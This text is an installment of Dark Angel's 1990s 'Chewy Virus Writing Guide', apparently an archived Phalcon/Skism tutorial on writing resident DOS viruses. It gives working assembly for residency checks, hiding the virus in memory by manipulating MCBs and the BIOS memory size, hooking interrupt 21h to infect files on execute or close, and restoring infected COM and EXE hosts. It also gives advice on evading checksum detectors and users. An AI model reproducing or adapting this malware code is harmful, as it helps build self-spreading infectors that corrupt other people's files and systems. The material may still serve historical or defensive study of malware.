home *** CD-ROM | disk | FTP | other *** search
- //==// // // /|| // //==== //==// //| //
- // // // // //|| // // // // //|| //
- //==// //==// //=|| // // // // // || //
- // // // // || // // // // // ||//
- // // // // || //==== //==== //==// // ||/
-
- /==== // // // /==== /| /|
- // // // // // //| //|
- ===\ // // // ===\ //|| //||
- // // \\ // // // ||// ||
- ====/ // \\ // ====/ // ||/ ||
-
- ─────────────────────────────────────────
- DISCLAIMER: Why do I bother writing one??
- ─────────────────────────────────────────
- MO STUFF: Greets to all the Phalcon/Skism
- crew,especially Garbageheap,Hellraiser,
- Demogorgon,Lazarus Long,and Decimator.
- ─────────────────────────────────────────
-
- Dark Angel's Chewy Virus Writing Guide
- ──── ─────── ───── ───── ─────── ─────
- "Over 2 billion served"
-
- ────────────────────────────────────────
- INSTALLMENT V: RESIDENT VIRUSES, PART II
- ────────────────────────────────────────
-
- After reading the the Clumpy Guide, you should have at least some idea of
- how to code a resident virus. However, the somewhat vague descriptions I
- gave may have left you in a befuddled state. Hopefully, this installment
- will clear the air.
-
- ─────────
- STRUCTURE
- ─────────
- In case you missed it the last time, here is a quick, general overview of
- the structure of the resident virus. The virus consists of two major
- portions, the loading stub and the interrupt handlers. The loading stub
- performs two functions. First, it redirects interrupts to the virus code.
- Second, it causes the virus to go resident. The interrupt handlers contain
- the code which cause file infection. Generally, the handlers trap
- interrupt 21h and intercept such calls as file execution.
-
- ────────────
- LOADING STUB
- ────────────
- The loading stub consists of two major portions, the residency routine and
- the restoration routine. The latter portion, which handles the return of
- control to the original file, is identical as the one in the nonresident
- virus. I will briefly touch upon it here.
-
- By now you should understand thoroughly the theory behind COM file
- infection. By simply replacing the first few bytes, transfer can be
- controlled to the virus. The trick in restoring COM files is simply to
- restore the overwritten bytes at the beginning of the file. This
- restoration takes place only in memory and is therefore far from permanent.
- Since COM files always load in a single memory segment and begin loading at
- offset 100h in the memory segment (to make room for the PSP), the
- restoration procedure is very simple. For example, if the first three
- bytes of a COM file were stored in a buffer called "first3" before being
- overwritten by the virus, then the following code would restore the code in
- memory:
-
- mov di,100h ; Absolute location of destination
- lea si,[bp+first3] ; Load address of saved bytes.
- ; Assume bp = "delta offset"
- movsw ; Assume CS = DS = ES and a cleared direction flag
- movsb ; Move three bytes
-
- The problem of returning control to the program still remains. This simply
- consists of forcing the program to transfer control to offset 100h. The
- easiest routine follows:
-
- mov di,100h
- jmp di
-
- There are numerous variations of this routine, but they all accomplish the
- basic task of setting the ip to 100h.
-
- You should also understand the concept behind EXE infection by now. EXE
- infection, at its most basic level, consists of changing certain bytes in
- the EXE header. The trick is simply to undo all the changes which the
- virus made. The code follows:
-
- mov ax, es ; ES = segment of PSP
- add ax, 10h ; Loading starts after PSP
- add word ptr cs:[bp+OrigCSIP+2], ax ; Header segment value was
- ; relative to end of PSP
- cli
- add ax, word ptr cs:[bp+OrigSSSP+2] ; Adjust the stack as well
- mov ss, ax
- mov sp, word ptr cs:[bp+OrigSSSP]
- sti
- db 0eah ; JMP FAR PTR SEG:OFF
- OrigCSIP dd ? ; Put values from the header
- OrigSSSP dd ? ; into here
-
- If the virus is an EXE-specific infector but you still wish to use a COM
- file as the carrier file, then simply set the OrigCSIP value to FFF0:0000.
- This will be changed by the restoration routine to PSP:0000 which is,
- conveniently, an int 20h instruction.
-
- All that stuff should not be new. Now we shall tread on new territory.
- There are two methods of residency. The first is the weenie method which
- simply consists of using DOS interrupts to do the job for you. This method
- sucks because it is 1) easily trappable by even the most primitive of
- resident virus monitors and 2) forces the program to terminate execution,
- thereby alerting the user to the presence of the virus. I will not even
- present code for the weenie method because, as the name suggests, it is
- only for weenies. Real programmers write their own residency routines.
- This basically consists of MCB-manipulation. The general method is:
-
- 1. Check for prior installation. If already installed, exit the virus.
- 2. Find the top of memory.
- 3. Allocate the high memory.
- 4. Copy the virus to high memory.
- 5. Swap the interrupt vectors.
-
- There are several variations on this technique and they will be discussed
- as the need arises.
-
- ──────────────────
- INSTALLATION CHECK
- ──────────────────
- There are several different types of installation check. The most common
- is a call to int 21h with AX set to a certain value. If certain registers
- are returned set to certain values, then the virus is resident. For
- example, a sample residency check would be:
-
- mov ax,9999h ; residency check
- int 21h
- cmp bx,9999h ; returns bx=9999h if installed
- jz already_installed
-
- When choosing a value for ax in the installation check, make sure it does
- not conflict with an existing function unless the function is harmless.
- For example, do not use display string (ah=9) unless you wish to have
- unpredictable results when the virus is first being installed. An example
- of a harmless function is get DOS version (ah=30h) or flush keyboard buffer
- (ah=0bh). Of course, if the check conflicts with a current function, make
- sure it is narrow enough so no programs will have a problem with it. For
- example, do not merely trap ah=30h, but trap ax=3030h or even ax=3030h and
- bx=3030h.
-
- Another method of checking for residency is to search for certain
- characteristics of the virus. For example, if the virus always sets an
- unused interrupt vector to point to its code, a possible residency check
- would be to search the vector for the virus characteristics. For example:
-
- xor ax,ax
- mov ds,ax ; ds->interrupt table
- les bx,ds:[60h*4] ; get address of interrupt 60h
- ; assume the virus traps this and puts its int 21h handler
- ; here
- cmp es:bx,0FF2Eh ; search for the virus string
- .
- .
- .
- int60:
- jmp far ptr cs:origint21
-
- When using this method, take care to ensure that there is no possibility of
- this characteristic being false when the virus is resident. In this case,
- another program must not trap the int 60h vector or else the check may fail
- even if the virus is already resident, thereby causing unpredictable
- results.
-
- ──────────────────────
- FIND THE TOP OF MEMORY
- ──────────────────────
- DOS generally loads all available memory to a program upon loading. Armed
- with this knowledge, the virus can easily determine the available memory
- size. Once again, the MCB structure is:
-
- Offset Size Meaning
- ------ ------- -------
- 0 BYTE 'M' or 'Z'
- 1 WORD Process ID (PSP of block's owner)
- 3 WORD Size in paragraphs
- 5 3 BYTES Reserved (Unused)
- 8 8 BYTES DOS 4+ uses this. Yay.
-
- mov ax,ds ; Assume DS initially equals the segment of the PSP
- dec ax
- mov ds,ax ; DS = MCB of infected program
- mov bx,ds:[3] ; Get MCB size (total available paragraphs to program)
-
- A simpler method of performing the same action is to use DOS's reallocate
- memory function in the following manner:
-
- mov ah,4ah ; Alter memory allocation (assume ES = PSP)
- mov bx,0FFFFh ; Request a ridiculous amount of memory
- int 21h ; Returns maximum available memory in BX
- ; This is the same value as in ds:[3]
-
- ────────────────────────
- ALLOCATE THE HIGH MEMORY
- ────────────────────────
- The easiest method to allocate memory is to let DOS do the work for you.
-
- mov ah,4ah ; Alter memory allocation (assume ES = PSP)
- sub bx,(endvirus-startvirus+15)/16+1 ; Assume BX originally held total
- ; memory available to the program (returned by earlier
- ; call to int 21h/function 4ah
- int 21h
-
- mov ah,48h ; Allocate memory
- mov bx,(endvirus-startvirus+15)/16
- int 21h
- mov es,ax ; es now holds the high memory segment
-
- dec bx
- mov byte ptr ds:[0], 'Z' ; probably not needed
- mov word ptr ds:[1], 8 ; Mark DOS as owner of MCB
-
- The purpose of marking DOS as the owner of the MCB is to prevent the
- deallocation of the memory area upon termination of the carrier program.
-
- Of course, some may prefer direct manipulation of the MCBs. This is easily
- accomplished. If ds is equal to the segment of the carrier program's MCB,
- then the following code will do the trick:
-
- ; Step 1) Shrink the carrier program's memory allocation
- ; One paragraph is added for the MCB of the memory area which the virus
- ; will inhabit
- sub ds:[3],(endvirus-startvirus+15)/16 + 1
-
- ; Step 2) Mark the carrier program's MCB as the last in the chain
- ; This isn't really necessary, but it assures that the virus will not
- ; corrupt the memory chains
- mov byte ptr ds:[0],'Z'
-
- ; Step 3) Alter the program's top of memory field in the PSP
- ; This preserves compatibility with COMMAND.COM and any other program
- ; which uses the field to determine the top of memory
- sub word ptr ds:[12h],(endvirus-startvirus+15)/16 + 1
-
- ; Step 4) Calculate the first usable segment
- mov bx,ds:[3] ; Get MCB size
- stc ; Add one for the MCB segment
- adc bx,ax ; Assume AX still equals the MCB of the carrier file
- ; BX now holds first usable segment. Build the MCB
- ; there
- ; Alternatively, you can use the value in ds:[12h] as the first usable
- ; segment:
- ; mov bx,ds:[12h]
-
- ; Step 5) Build the MCB
- mov ds,bx ; ds holds the area to build the MCB
- inc bx ; es now holds the segment of the memory area controlled
- mov es,bx ; by the MCB
- mov byte ptr ds:[0],'Z' ; Mark the MCB as the last in the chain
- ; Note: you can have more than one MCB chain
- mov word ptr ds:[1],8 ; Mark DOS as the owner
- mov word ptr ds:[3],(endvirus-startvirus+15)/16 ; FIll in size field
-
- There is yet another method involving direct manipulation.
-
- ; Step 1) Shrink the carrier program's memory allocation
- ; Note that rounding is to the nearest 1024 bytes and there is no
- ; addition for an MCB
- sub ds:[3],((endvirus-startvirus+1023)/1024)*64
-
- ; Step 2) Mark the carrier program's MCB as the last in the chain
- mov byte ptr ds:[1],'Z'
-
- ; Step 3) Alter the program's top of memory field in the PSP
- sub word ptr ds:[12h],((endvirus-startvirus+1023)/1024)*64
-
- ; Step 4) Calculate the first usable segment
- mov es,word ptr ds:[12h]
-
- ; Step 5) Shrink the total memory as held in BIOS
- ; Memory location 0:413h holds the total system memory in K
- xor ax,ax
- mov ds,ax
- sub ds:[413h],(endvirus-startvirus+1023)/1024 ; shrink memory size
-
- This method is great because it is simple and short. No MCB needs to be
- created because DOS will no longer allocate memory held by the virus. The
- modification of the field in the BIOS memory area guarantees this.
-
- ─────────────────────────────
- COPY THE VIRUS TO HIGH MEMORY
- ─────────────────────────────
- This is ridiculously easy to do. If ES holds the high memory segment, DS
- holds CS, and BP holds the delta offset, then the following code will do:
-
- lea si,[bp+offset startvirus]
- xor di,di ; destination @ 0
- mov cx,(endvirus-startvirus)/2
- rep movsw ; Copy away, use words for speed
-
- ──────────────────────
- SWAP INTERRUPT VECTORS
- ──────────────────────
- There are, once again, two ways to do this; via DOS or directly. Almost
- every programmer worth his salt has played with interrupt vectors at one
- time or another. Via DOS:
-
- push es ; es->high memory
- pop ds ; ds->high memory
- mov ax,3521h ; get old int 21h handler
- int 21h ; to es:bx
- mov word ptr ds:oldint21,bx ; save it
- mov word ptr ds:oldint21+2,es
- mov dx,offset int21 ; ds:dx->new int 21h handler in virus
- mov ax,2521h ; set handler
- int 21h
-
- And direct manipulation:
- xor ax,ax
- mov ds,ax
- lds bx,ds:[21h*4]
- mov word ptr es:oldint21,bx
- mov word ptr es:oldint21+2,ds
- mov ds,ax
- mov ds:[21h*4],offset int21
- mov ds:[21h*4+2],es
-
- Delta offset calculations are not needed since the location of the
- variables is known. This is because the virus is always loaded into high
- memory starting in offset 0.
-
- ─────────────────
- INTERRUPT HANDLER
- ─────────────────
- The interrupt handler intercepts function calls to DOS and waylays them.
- The interrupt handler typically begins with a check for a call to the
- installation check. For example:
-
- int21:
- cmp ax,9999h ; installation check?
- jnz not_installation_check
- xchg ax,bx ; return bx = 9999h if installed
- iret ; exit interrupt handler
- not_installation_check:
- ; rest of interrupt handler goes here
-
- With this out of the way, the virus can trap whichever DOS functions it
- wishes. Generally the most effective function to trap is execute
- (ax=4b00h), as the most commonly executed files will be infected. Another
- function to trap, albeit requiring more work, is handle close. This will
- infect on copies, viewings, patchings, etc. With some functions,
- prechaining is desired; others, postchaining. Use common sense. If the
- function destroys the filename pointer, then use prechaining. If the
- function needs to be completed before infection can take place,
- postchaining should be used. Prechaining is simple:
-
- pushf ; simulate an int 21h call
- call dword ptr cs:oldint21
-
- ; The following code ensures that the flags will be properly set upon
- ; return to the caller
- pushf
- push bp
- push ax
-
- ; flags [bp+10]
- ; calling CS:IP [bp+6]
- ; flags new [bp+4]
- ; bp [bp+2]
- ; ax [bp]
-
- mov bp, sp ; setup stack frame
- mov ax, [bp+4] ; get new flags
- mov [bp+10], ax; replace the old with the new
-
- pop ax ; restore stack
- pop bp
- popf
-
- To exit the interrupt handler after prechaining, use an iret statement
- rather than a retn or retf. Postchaining is even simpler:
-
- jmp dword ptr cs:oldint21 ; this never returns to the virus int handler
-
- When leaving the interrupt handler, make sure that the stack is not
- unbalanced and that the registers were not altered. Save the registers
- right after prechaining and long before postchaining.
-
- Infection in a resident virus is essentially the same as that in a
- nonresident virus. The only difference occurs when the interrupt handler
- traps one of the functions used in the infection routine. For example, if
- handle close is trapped, then the infection routine must replace the handle
- close int 21h call with a call to the original interrupt 21h handler, a la:
-
- pushf
- call dword ptr cs:oldint21
-
- It is also necessary to handle encryption in another manner with a resident
- virus. In the nonresident virus, it was not necessary to preserve the code
- at all times. However, it is desirable to keep the interrupt handler(s)
- decrypted, even when infecting. Therefore, the virus should keep two
- copies of itself in memory, one as code and one as data. The encryptor
- should encrypt the secondary copy of the virus, thereby leaving the
- interrupt handler(s) alone. This is especially important if the virus
- traps other interrupts such as int 9h or int 13h.
-
- ────────────────────────────
- A THEORY ON RESIDENT VIRUSES
- ────────────────────────────
- Resident viruses can typically be divided into two categories; slow and
- fast infectors. They each have their own advantages and disadvantages.
-
- Slow infectors do not infect except in the case of a file creation. This
- infector traps file creates and infects upon the closing of the file. This
- type of virus infects on new file creations and copying of files. The
- disadvantage is that the virus spreads slowly. This disadvantage is also
- an advantage, as this may keep it undetected for a long time. Although
- slow infectors sound ineffective, in reality they can work well. Infection
- on file creations means that checksum/CRC virus detectors won't be able to
- checksum/CRC the file until after it has been infected. Additionally,
- files are often copied from one directory to another after testing. So
- this method can work.
-
- Fast infectors infect on executes. This type of virus will immediately
- attack commonly used files, ensuring the continual residency of the virus
- in subsequent boots. This is the primary advantage, but it is also the
- primary disadvantage. The infector works so rapidly that the user may
- quickly detect a discrepancy with the system, especially if the virus does
- not utilise any stealth techniques.
-
- Of course, there is no "better" way. It is a matter of personal
- preference. The vast majority of viruses today are fast infectors,
- although slow infectors are beginning to appear with greater frequency.
-
- If the virus is to infect on a create or open, it first must copy the
- filename to a buffer, execute the call, and save the handle. The virus
- must then wait for a handle close corresponding to that handle and infect
- using the filename stored in the buffer. This is the simplest method of
- infecting after a handle close without delving into DOS internals.
-
- ──────────────────────────────
- IF YOU DON'T UNDERSTAND IT YET
- ──────────────────────────────
- don't despair; it will come after some time and much practise. You will
- soon find that resident viruses are easier to code than nonresident
- viruses. That's all for this installment, but be sure to grab the next
- one.
-